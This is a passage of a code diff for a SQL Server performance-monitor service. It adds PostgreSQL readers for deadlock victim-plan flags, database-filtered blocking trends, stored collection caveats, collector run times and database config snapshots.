+    /// (<c>bigint[]</c>). The predicate is <c>IS NOT NULL AND &lt;&gt; ''</c>, the one
+    /// <see cref="DarlingStoredPlanReader.DeadlockVictimPlanSql"/> reads with.
+    /// </summary>
+    public const string DeadlockVictimPlanFlagsSql = """
+        SELECT
+            collection_time,
+            deadlock_id,
+            (victim_query_plan_xml IS NOT NULL AND victim_query_plan_xml <> '') AS has_victim_plan
+        FROM deadlocks
+        WHERE server_id = $1
+        AND   collection_time = ANY($2)
+        AND   deadlock_id = ANY($3)
+        """;
+
+    /// <summary>
+    /// Fills <c>HasVictimPlan</c> on one page of <c>get_deadlocks</c> (#5236), by <see cref="DeadlockVictimPlanFlagsSql"/>: one
+    /// statement over the page's own rows, issued after the page is known.
+    /// </summary>
+    public static async Task ReadVictimPlanFlagsAsync(
+        NpgsqlDataSource postgres, int serverId, IReadOnlyCollection<DeadlockReadRow> page, CancellationToken cancellationToken = default)
+    {
+        var keyed = new List<DeadlockReadRow>(page.Count);
+        foreach (var row in page)
+        {
+            if (row.DeadlockId is not null)
+            {
+                keyed.Add(row);
+            }
+        }
+
+        if (keyed.Count == 0)
+        {
+            return;
+        }
+
+        var times = new DateTime[keyed.Count];
+        var ids = new long[keyed.Count];
+        for (var i = 0; i < keyed.Count; i++)
+        {
+            times[i] = DateTime.SpecifyKind(keyed[i].CollectionTime, DateTimeKind.Unspecified);
+            ids[i] = keyed[i].DeadlockId!.Value;
+        }
+
+        var flags = new Dictionary<(DateTime Time, long Id), bool>();
+        await using var command = postgres.CreateCommand(DeadlockVictimPlanFlagsSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(command, serverId);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Timestamp, Value = times });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Bigint, Value = ids });
+        await using (var reader = await command.ExecuteReaderAsync(cancellationToken))
+        {
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                flags[(reader.GetDateTime(0), reader.GetInt64(1))] = !reader.IsDBNull(2) && reader.GetBoolean(2);
+            }
+        }
+
+        ApplyVictimPlanFlags(keyed, flags);
+    }
+
+    /// <summary>Sets <c>HasVictimPlan</c> on every row whose (collection_time, deadlock_id) pair is in <paramref name="flags"/>.</summary>
+    internal static void ApplyVictimPlanFlags(IEnumerable<DeadlockReadRow> rows, IReadOnlyDictionary<(DateTime Time, long Id), bool> flags)
+    {
+        foreach (var row in rows)
+        {
+            if (row.DeadlockId is { } id && flags.TryGetValue((row.CollectionTime, id), out var has))
+            {
+                row.HasVictimPlan = has;
+            }
+        }
+    }
+
     /// <summary>The newest <paramref name="cap"/> deadlocks over the window — every row, or with
     /// <paramref name="graphOnly"/> only those carrying a graph. Callers detecting truncation pass
     /// <c>limit + 1</c> and read the extra row as the signal.</summary>
@@ -492,6 +725,7 @@ public static async Task<List<DeadlockReadRow>> GetRecentDeadlocksAsync(
                 VictimSqlText = reader.IsDBNull(3) ? "" : reader.GetString(3),
                 DeadlockGraphXml = reader.IsDBNull(4) ? "" : reader.GetString(4),
                 DatabaseName = reader.IsDBNull(5) ? null : reader.GetString(5),
+                DeadlockId = reader.IsDBNull(6) ? null : reader.GetInt64(6),
             });
         }
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs
index b1235713ca..f459be87ce 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs
@@ -32,36 +32,45 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 internal static class DarlingBlockingTrendReader
 {
     /// <summary>One incident-count-per-minute bucket (mirror of the viewer's <c>BlockingTrendPoint</c>).</summary>
-    public sealed record BlockingTrendReadPoint(DateTime Time, int Count);
+    public sealed record BlockingTrendReadPoint(DateTime Time, int Count, string? Source = null);
 
     /// <summary>
     /// Blocking-incident count per minute — the viewer's <c>BlockingTrendSql</c>. XE blocked-process reports
     /// (<c>v_blocked_process_reports</c>) are the primary source, bucketed on <c>event_time</c>; the always-on
     /// DMV snapshot (<c>v_dmv_blocking_snapshots</c>) is appended only when the XE source has no rows in the
-    /// window (<c>WHERE NOT EXISTS</c>), so a server with both sources never double-counts. $1 server_id,
-    /// $2 window start, $3 window end (naive UTC). $4 is the <see cref="EventWindowFloor"/> for $2 — both
+    /// window for the chosen databases (<c>WHERE NOT EXISTS</c> over the filtered <c>bpr</c>, the rule <c>get_blocking_stats</c> and the desktop use too), so a server with both sources never double-counts. $1 server_id,
+    /// $2 window start, $3 window end (naive UTC). Every row carries a <c>source</c> column (#5244, "blocked-process-report" or
+    /// "DMV snapshot", the tags <c>get_blocking</c> rows carry) so the answer says which arm it came from; the arms are never mixed.
+    /// $4 is the <see cref="EventWindowFloor"/> for $2, and $5 the
+    /// database filter (<c>text[]</c>, NULL = all; #5244) — both
     /// tables are hypertables partitioned on <c>collection_time</c>, which this event-time window alone gives
     /// the planner nothing to exclude a chunk on (#4229); the floor lets it skip every chunk older than the
     /// window, without being able to drop a row (an event is collected after it happens).
+    ///
+    /// <para><b>The database predicate is the list form (#5244), on BOTH arms</b>, as the desktop's <c>BlockingTrendSql</c> has it.
+    /// The DMV arm's <c>NOT EXISTS (SELECT 1 FROM bpr)</c> therefore asks whether the XE source has rows for the CHOSEN databases:
+    /// a database with only DMV-captured blocking still charts, whatever other databases' XE reports hold.</para>
     /// </summary>
-    public const string BlockingTrendSql = """
+    public static readonly string BlockingTrendSql = $$"""
         WITH bpr AS (
-            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'blocked-process-report' AS source
             FROM v_blocked_process_reports
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $4
+            {{DatabaseFilter.All.Clause("database_name", 5)}}
             GROUP BY DATE_TRUNC('minute', event_time)
         ),
         dmv AS (
-            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'DMV snapshot' AS source
             FROM v_dmv_blocking_snapshots
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $4
+            {{DatabaseFilter.All.Clause("database_name", 5)}}
             GROUP BY DATE_TRUNC('minute', event_time)
         )
-        SELECT bucket, incident_count FROM bpr
+        SELECT bucket, incident_count, source FROM bpr
         UNION ALL
-        SELECT bucket, incident_count FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+        SELECT bucket, incident_count, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
         ORDER BY bucket
         """;
 
@@ -185,12 +194,18 @@ ORDER BY 1
     /// <summary>Blocking-incident-per-minute buckets for one server over the window.</summary>
     public static Task<List<BlockingTrendReadPoint>> GetBlockingTrendAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
-        => ReadCountTrendAsync(postgres, BlockingTrendSql, serverId, startUtc, endUtc, boundEventWindow: true, cancellationToken);
+        => GetBlockingTrendAsync(postgres, serverId, startUtc, endUtc, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>The same trend over a SET of databases (#5244): <see cref="DatabaseFilter.All"/> is every database, otherwise both
+    /// arms count only the named databases' blocking.</summary>
+    public static Task<List<BlockingTrendReadPoint>> GetBlockingTrendAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DatabaseFilter databases, CancellationToken cancellationToken = default)
+        => ReadCountTrendAsync(postgres, BlockingTrendSql, serverId, startUtc, endUtc, boundEventWindow: true, databases, cancellationToken);
 
     /// <summary>Deadlock-per-minute buckets for one server over the window.</summary>
     public static Task<List<BlockingTrendReadPoint>> GetDeadlockTrendAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
-        => ReadCountTrendAsync(postgres, DeadlockTrendSql, serverId, startUtc, endUtc, boundEventWindow: true, cancellationToken);
+        => ReadCountTrendAsync(postgres, DeadlockTrendSql, serverId, startUtc, endUtc, boundEventWindow: true, null, cancellationToken);
 
     /// <summary>
     /// The lock-wait family for one server over the window, one point per bucket of <paramref name="bucketMinutes"/>
@@ -243,7 +258,7 @@ public static async Task<List<LockWaitType>> GetLockWaitTypesAsync(
     /// maps both. COUNT(*) is bigint in Postgres, read via GetInt64 and narrowed to the point's int.</summary>
     private static async Task<List<BlockingTrendReadPoint>> ReadCountTrendAsync(
         NpgsqlDataSource postgres, string sql, int serverId, DateTime startUtc, DateTime endUtc,
-        bool boundEventWindow, CancellationToken cancellationToken)
+        bool boundEventWindow, DatabaseFilter? databases, CancellationToken cancellationToken)
     {
         var items = new List<BlockingTrendReadPoint>();
         await using var command = postgres.CreateCommand(sql);
@@ -251,12 +266,15 @@ private static async Task<List<BlockingTrendReadPoint>> ReadCountTrendAsync(
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         if (boundEventWindow)
             DarlingMcpReadParameters.AddTimestamp(command, EventWindowFloor.For(startUtc));
+        if (databases is { } filter)
+            command.Parameters.Add(filter.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
             items.Add(new BlockingTrendReadPoint(
                 reader.GetDateTime(0),
-                reader.IsDBNull(1) ? 0 : (int)reader.GetInt64(1)));
+                reader.IsDBNull(1) ? 0 : (int)reader.GetInt64(1),
+                reader.FieldCount > 2 && !reader.IsDBNull(2) ? reader.GetString(2) : null));
         }
 
         return items;
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectionCaveatReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectionCaveatReader.cs
new file mode 100644
index 0000000000..284d461f01
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectionCaveatReader.cs
@@ -0,0 +1,118 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The collection caveats <c>get_collection_health</c> carries as <c>stored_caveats</c> (#4843): the data
+/// families the scheduled analysis pass currently cannot read on a server, as <c>collect.analysis_collection_caveats</c>
+/// (V141) holds them. The same four columns the desktop viewer's "Analysis could not read these data families" grid shows.
+/// A different layer from the in-memory <c>analysis_caveats</c> block beside it: that one remembers the last few passes in
+/// the serving process, this one is the store's current answer and survives a restart.
+/// </summary>
+internal static class DarlingCollectionCaveatReader
+{
+    /// <summary>The payload key. Absent, never null or empty, when the server has no caveat.</summary>
+    internal const string PayloadKey = "stored_caveats";
+
+    /// <summary>One server's caveats. $1 server_id. Schema-qualified, so a 42P01 from it can only mean this table is missing.</summary>
+    public const string CaveatsSql = """
+        SELECT family, reason, first_seen_utc, last_seen_utc
+        FROM collect.analysis_collection_caveats
+        WHERE server_id = $1
+        ORDER BY family
+        """;
+
+    internal readonly record struct Caveat(string Family, string Reason, DateTime FirstSeenUtc, DateTime LastSeenUtc);
+
+    /// <summary>
+    /// The server's caveats, or none. A store below V141 has no such table, and that is "no caveats" (the pass never
+    /// recorded any), so the 42P01 is answered with an empty list; a role that may not read the table (42501) is answered
+    /// the same way with one warning. The state code is matched, not the message text: lc_messages is not always English.
+    /// Any other failure propagates to the caller, which treats the whole health read as failed.
+    /// </summary>
+    public static Task<IReadOnlyList<Caveat>> ReadAsync(
+        NpgsqlDataSource postgres, int serverId, Microsoft.Extensions.Logging.ILogger? logger, CancellationToken cancellationToken) =>
+        ReadAsync(
+            async () =>
+            {
+                var rows = new List<Caveat>();
+                await using var command = postgres.CreateCommand(CaveatsSql);
+                command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                DarlingMcpReadParameters.AddInt(command, serverId);
+                await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    rows.Add(new Caveat(
+                        reader.GetString(0),
+                        reader.GetString(1),
+                        DateTime.SpecifyKind(reader.GetDateTime(2), DateTimeKind.Utc),
+                        DateTime.SpecifyKind(reader.GetDateTime(3), DateTimeKind.Utc)));
+                }
+
+                return rows;
+            },
+            DarlingCollectorRunTimeReader.WarnTo(logger));
+
+    /// <summary>The state-code handling of <see cref="ReadAsync(NpgsqlDataSource,int,Microsoft.Extensions.Logging.ILogger?,CancellationToken)"/>,
+    /// with the read and the warning passed in so the two refusals are testable without a store.</summary>
+    internal static async Task<IReadOnlyList<Caveat>> ReadAsync(Func<Task<List<Caveat>>> read, Action<string> warn)
+    {
+        try
+        {
+            return await read();
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+        {
+            return Array.Empty<Caveat>();
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.InsufficientPrivilege)
+        {
+            warn("get_collection_health: the MCP role cannot read collect.analysis_collection_caveats (42501), so collection caveats are not shown. "
+                + "Re-run provision-roles.sql to grant it SELECT.");
+            return Array.Empty<Caveat>();
+        }
+    }
+
+    /// <summary>
+    /// Adds <c>stored_caveats</c> to a serialized health payload, and returns the text untouched when there are none.
+    /// Spliced into the JSON rather than carried as a property for the reason the ledger's block is one: the MCP serializer
+    /// writes nulls, so a property would put an empty key on every clean server's answer.
+    /// </summary>
+    public static string AttachToJson(string healthJson, IReadOnlyList<Caveat> caveats)
+    {
+        ArgumentNullException.ThrowIfNull(healthJson);
+        if (caveats.Count == 0) return healthJson;
+
+        var node = JsonNode.Parse(healthJson)?.AsObject()
+            ?? throw new InvalidOperationException("the health payload did not parse to a JSON object");
+        var array = new JsonArray();
+        foreach (var c in caveats)
+        {
+            array.Add(new JsonObject
+            {
+                ["family"] = c.Family,
+                ["reason"] = c.Reason,
+                ["first_seen_utc"] = c.FirstSeenUtc.ToString("o"),
+                ["last_seen_utc"] = c.LastSeenUtc.ToString("o"),
+            });
+        }
+
+        node[PayloadKey] = array;
+        return node.ToJsonString(McpHelpers.JsonOptions);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectorRunTimeReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectorRunTimeReader.cs
new file mode 100644
index 0000000000..cd92ef2e87
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectorRunTimeReader.cs
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// #4938: what <c>get_collection_health</c> shows for a collector that has a run time. <see cref="RunAt"/> is the
+/// run time as 24-hour <c>HH:MM</c> on the monitored server's clock. <see cref="NextRunUtc"/> is when the collector
+/// is next due, UTC, or null when the collector is disabled (it has a run time but nothing is scheduled).
+/// <see cref="SkippedDayNote"/> is set only when a day was skipped: the collector has not run for longer than its
+/// stale line allows, and its next slot is still ahead (see <see cref="DarlingCollectorRunTimeReader.SkippedDayNoteFor"/>).
+/// </summary>
+internal sealed record CollectorRunTimeReading(string RunAt, DateTime? NextRunUtc, string? SkippedDayNote = null)
+{
+    /// <summary>The next due time as the round-trip text every other stamp on the health payload uses, or null.</summary>
+    public string? NextRunUtcText => NextRunUtc?.ToString("o");
+}
+
+/// <summary>
+/// #4938: reads which collectors on one server have a run time and when each is next due, for the health tool. It
+/// resolves the schedule the way the service does (<see cref="StoreConfigProvider.ResolveSchedule"/>: the server's row,
+/// then the fleet row, then the default, with a run time refused on an interval that is not a whole number of days),
+/// and it asks <see cref="CollectorRunTime.NextDue"/> for the due time, so the answer here is the one the worker acts on.
+///
+/// <para><b>A run counts the way the worker's connect-time read counts it.</b> The worker seeds each collector from its
+/// newest <c>collection_log</c> row of ANY status (<see cref="DarlingWorker.ReadCollectorWatermarksAsync"/>), looking back
+/// no further than <see cref="DarlingWorker.WatermarkFloorLookback"/>. The health row's <c>LastRunTime</c> is that same
+/// newest row of any status, so it is used here, with the same floor: an older run reads as never run, exactly as it does
+/// for the worker.</para>
+///
+/// <para><b>Nothing here is memoized or banded.</b> The health rows are held for a minute; the schedule is read fresh on
+/// every call, so a run time that was just set shows at once. The health band is read from the shipped cadence and never
+/// sees any of this.</para>
+/// </summary>
+internal static class DarlingCollectorRunTimeReader
+{
+    /// <summary>The fleet row and this server's row, the only two layers <see cref="StoreConfigProvider.ResolveSchedule"/>
+    /// reads for one server. $1 server_id. The table is small (one row per override), so this is one cheap read.</summary>
+    public const string ScheduleSql = """
+        SELECT server_id, collector_name, frequency_minutes, retention_days, enabled
+        FROM config.config_collector_schedules
+        WHERE server_id = $1 OR server_id IS NULL
+        """;
+
+    /// <summary>The same two layers of the run times, from their own table (<c>config.config_collector_run_times</c>), which the
+    /// service reads the same way (<see cref="StoreConfigProvider.RunTimesSelectSql"/>): a run time is not a column of the
+    /// schedule rows, because the viewer's schedule Save deletes and re-inserts those. $1 server_id. Schema-qualified, so a 42P01
+    /// from it can only mean this table is missing.</summary>
+    public const string RunTimeSql = """
+        SELECT server_id, collector_name, run_at_minute
+        FROM config.config_collector_run_times
+        WHERE server_id = $1 OR server_id IS NULL
+        """;
+
+    private static readonly IReadOnlyDictionary<string, CollectorRunTimeReading> s_none =
+        new Dictionary<string, CollectorRunTimeReading>(StringComparer.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// The run time and next due time of every collector in <paramref name="rows"/> that has a run time on this server.
+    /// A server with no run time anywhere costs the two small reads: the clock is read only when a run time exists. The run
+    /// times are layered onto the schedule rows by <see cref="StoreConfigProvider.MergeRunTimes"/>, the service's own merge. A
+    /// store below V160 has no run-time table, which is no run times, so the 42P01 is answered with none.
+    /// </summary>
+    public static async Task<IReadOnlyDictionary<string, CollectorRunTimeReading>> ReadAsync(
+        NpgsqlDataSource postgres, int serverId, IReadOnlyCollection<CollectorHealth> rows, DateTime nowUtc,
+        Microsoft.Extensions.Logging.ILogger? logger = null, CancellationToken cancellationToken = default)
+    {
+        var overrides = new List<ScheduleOverride>();
+        await using (var command = postgres.CreateCommand(ScheduleSql))
+        {
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            DarlingMcpReadParameters.AddInt(command, serverId);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                overrides.Add(new ScheduleOverride(
+                    reader.IsDBNull(0) ? null : reader.GetInt32(0),
+                    reader.GetString(1),
+                    reader.IsDBNull(2) ? null : reader.GetInt32(2),
+                    reader.IsDBNull(3) ? null : reader.GetInt32(3),
+                    reader.GetBoolean(4)));
+            }
+        }
+
+        var runTimes = await ReadRunTimesAsync(postgres, serverId, logger, cancellationToken);
+        var layered = StoreConfigProvider.MergeRunTimes(overrides, runTimes);
+
+        if (!layered.Any(o => o.RunAtMinute is >= 0))
+        {
+            return s_none;
+        }
+
+        var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
+        return Compute(serverId, layered, rows, clock.ToUtc, nowUtc);
+    }
+
+    /// <summary>The fleet's and this server's run-time rows. A store below V160 has no such table, and that is "no run times"
+    /// (every collector had none before the table existed), so the 42P01 is answered with an empty list. A role that may not
+    /// read the table (42501, an mcp role provisioned before the grant existed) is answered the same way, with one warning,
+    /// so the health tool never fails as a whole for a missing optional layer; any other failure propagates. The state code,
+    /// not the message text, is matched: lc_messages is not always English.</summary>
+    private static Task<IReadOnlyList<RunTimeOverride>> ReadRunTimesAsync(
+        NpgsqlDataSource postgres, int serverId, Microsoft.Extensions.Logging.ILogger? logger, CancellationToken cancellationToken) =>
+        ReadRunTimesAsync(
+            async () =>
+            {
+                var runTimes = new List<RunTimeOverride>();
+                await using var command = postgres.CreateCommand(RunTimeSql);
+                command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                DarlingMcpReadParameters.AddInt(command, serverId);
+                await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    runTimes.Add(new RunTimeOverride(
+                        reader.IsDBNull(0) ? null : reader.GetInt32(0),
+                        reader.GetString(1),
+                        reader.GetInt16(2)));
+                }
+
+                return runTimes;
+            },
+            WarnTo(logger));
+
+    /// <summary>The warning's destination: the MCP tool's logger, which reaches the service log. The service wires no Trace
+    /// listener, so a Trace warning would reach nothing; Trace stays only as the fallback when no logger was passed.</summary>
+    internal static Action<string> WarnTo(Microsoft.Extensions.Logging.ILogger? logger) =>
+        message =>
+        {
+            if (logger is null)
+            {
+                System.Diagnostics.Trace.TraceWarning(message);
+            }
+            else
+            {
+                Microsoft.Extensions.Logging.LoggerExtensions.LogWarning(logger, "{Message}", message);
+            }
+        };
+
+    /// <summary>The state-code handling of <see cref="ReadRunTimesAsync(NpgsqlDataSource,int,CancellationToken)"/>, with the read
+    /// and the warning passed in so the two refusals are testable without a store.</summary>
+    internal static async Task<IReadOnlyList<RunTimeOverride>> ReadRunTimesAsync(
+        Func<Task<List<RunTimeOverride>>> read, Action<string> warn)
+    {
+        try
+        {
+            return await read();
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+        {
+            return Array.Empty<RunTimeOverride>();
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.InsufficientPrivilege)
+        {
+            warn("get_collection_health: the MCP role cannot read config.config_collector_run_times (42501), so collector run times are not shown. "
+                + "Re-run provision-roles.sql to grant it SELECT.");
+            return Array.Empty<RunTimeOverride>();
+        }
+    }
+
+    /// <summary>
+    /// Pure: the readings for the collectors that have a run time. A collector the catalog does not know, or one with no
+    /// run time once the layers and the whole-day rule are applied, has no entry. <paramref name="localToUtc"/> is the
+    /// server clock's conversion, or <see cref="CollectorRunTime.LocalIsUtc"/> while no clock is known.
+    /// </summary>
+    internal static IReadOnlyDictionary<string, CollectorRunTimeReading> Compute(
+        int serverId, IReadOnlyList<ScheduleOverride> overrides, IEnumerable<CollectorHealth> rows,
+        Func<DateTime, DateTime> localToUtc, DateTime nowUtc)
+    {
+        var result = new Dictionary<string, CollectorRunTimeReading>(StringComparer.OrdinalIgnoreCase);
+        foreach (var row in rows)
+        {
+            var collector = row.CollectorName;
+            if (!CollectorScheduleDefaults.All.ContainsKey(collector))
+            {
+                continue;
+            }
+
+            var schedule = StoreConfigProvider.ResolveSchedule(collector, serverId, overrides);
+            if (schedule.RunAtMinute is not int minute)
+            {
+                continue;
+            }
+
+            DateTime? next = null;
+            string? note = null;
+            if (schedule.Enabled)
+            {
+                var interval = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes);
+
+                /* The worker's floor: a last run older than it counts as never run. The health row's stamp is naive UTC. */
+                DateTime? last = row.LastRunTime is DateTime stamp && stamp >= nowUtc - DarlingWorker.WatermarkFloorLookback
+                    ? DateTime.SpecifyKind(stamp, DateTimeKind.Utc)
+                    : null;
+                next = CollectorRunTime.NextDue(nowUtc, last, minute, interval, serverId, localToUtc);
+                note = SkippedDayNoteFor(row, interval, next.Value, nowUtc);
+            }
+
+            result[collector] = new CollectorRunTimeReading(CollectorRunTime.Format(minute), next, note);
+        }
+
+        return result;
+    }
+
+    /// <summary>
+    /// The note a row carries when a day was skipped (#4938). A run time skips a day that could not start inside its
+    /// 60-minute grace and never replays it, so the gap to the next slot can be longer than the shipped cadence allows,
+    /// and the collector crosses its stale line before that slot arrives. The band is right to say so, because a day WAS
+    /// missed; the note says why the band reads that way and when the next run is.
+    ///
+    /// <para>It needs all of: a last run (any status, as the worker counts it) older than the stale line the band reads
+    /// from the shipped cadence; older than the longest gap between two on-time runs, one interval plus the grace and an
+    /// hour for a daylight-saving change, so a collector whose shipped cadence is shorter than its run-time interval does
+    /// not read as skipped on an ordinary day; and a next run that is still ahead. A collector that is due now will run
+    /// in a moment, so it has no note. The note is never a band input: <see cref="CollectorHealth.HealthStatus"/> does
+    /// not see it.</para>
+    /// </summary>
+    internal static string? SkippedDayNoteFor(CollectorHealth row, int intervalMinutes, DateTime nextRunUtc, DateTime nowUtc)
+    {
+        if (row.LastRunTime is not DateTime lastRun || nextRunUtc <= nowUtc)
+        {
+            return null;
+        }
+
+        var hoursSinceLastRun = (nowUtc - DateTime.SpecifyKind(lastRun, DateTimeKind.Utc)).TotalHours;
+        var staleLineHours = CollectorHealthClassifier.StaleThresholdHours(row.FrequencyMinutes);
+        var longestOnTimeGapHours = (intervalMinutes + CollectorRunTime.GraceMinutes + 60) / 60.0;
+        if (hoursSinceLastRun <= staleLineHours || hoursSinceLastRun <= longestOnTimeGapHours)
+        {
+            return null;
+        }
+
+        return string.Create(CultureInfo.InvariantCulture,
+            $"Skipped day: no run for {hoursSinceLastRun:0.#} hours, past this collector's {staleLineHours:0.#}-hour stale line, and its next run is not due until {nextRunUtc:u}. With a run time, a day that could not start within {CollectorRunTime.GraceMinutes} minutes of its slot is skipped, not replayed.");
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingConfigHistoryReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingConfigHistoryReader.cs
index 1308777f5d..0b9adebb93 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingConfigHistoryReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingConfigHistoryReader.cs
@@ -12,6 +12,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -101,7 +102,7 @@ FROM v_server_config
     /* ─────────────────────────── database config snapshots (WIDE) ─────────────────────────── */
 
     /// <summary>Every sys.databases snapshot for a server, with the 27 setting columns CAST to text for a
-    /// uniform value-diff. $1 server_id. The SELECT order is
+    /// uniform value-diff. $1 server_id, $2 the chosen databases (text[], NULL = every database). The SELECT order is
     /// <see cref="ConfigChangeDiff.DatabaseConfigChangeSettingNames"/>.</summary>
     public const string DatabaseConfigSnapshotsSql = """
         SELECT
@@ -136,16 +137,25 @@ FROM v_server_config
             is_optimized_locking_on::text
         FROM v_database_config
         WHERE server_id = $1
+        AND   ($2::text[] IS NULL OR database_name = ANY($2))
         ORDER BY database_name, capture_time
         """;
 
-    public static async Task<List<ConfigChangeDiff.DatabaseConfigSnapshot>> GetDatabaseConfigSnapshotsAsync(
-        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
+    public static Task<List<ConfigChangeDiff.DatabaseConfigSnapshot>> GetDatabaseConfigSnapshotsAsync(
+        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default) =>
+        GetDatabaseConfigSnapshotsAsync(postgres, serverId, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>#5245: the snapshots of a SET of databases (<see cref="DatabaseFilter.All"/> is every database), the
+    /// list bound as the one <c>text[]</c> $2 (never spliced). The diff walks each database's own captures, so a
+    /// filtered read changes exactly the databases it keeps.</summary>
+    internal static async Task<List<ConfigChangeDiff.DatabaseConfigSnapshot>> GetDatabaseConfigSnapshotsAsync(
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<ConfigChangeDiff.DatabaseConfigSnapshot>();
         await using var command = postgres.CreateCommand(DatabaseConfigSnapshotsSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddInt(command, serverId);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCurrentConfigReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCurrentConfigReader.cs
index 6e0bfd8efb..33724e25cd 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCurrentConfigReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCurrentConfigReader.cs
@@ -8,9 +8,11 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -155,6 +157,27 @@ DatabaseConfigSql binds to the same fields — see the byte-identical note above
         return new LatestSnapshot<DatabaseConfigReadRow>(capturedAt, rows);
     }
 
+    /// <summary>
+    /// #5245: the rows of <paramref name="rows"/> whose database is one of the chosen <paramref name="databases"/>
